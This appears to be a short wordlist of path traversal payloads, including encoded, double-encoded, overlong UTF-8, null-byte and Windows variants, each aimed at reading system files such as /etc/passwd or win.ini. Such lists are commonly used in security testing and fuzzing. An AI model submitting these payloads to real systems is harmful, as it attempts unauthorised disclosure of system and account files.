../../../etc/passwd
..\..\..\windows\win.ini
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%252e%252e%252fetc%252fpasswd
..%c0%af..%c0%afetc/passwd
....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
/var/www/../../etc/passwd
file:///etc/passwd
\\?\C:\windows\win.ini
C:../../../windows/win.ini
..%00/etc/passwd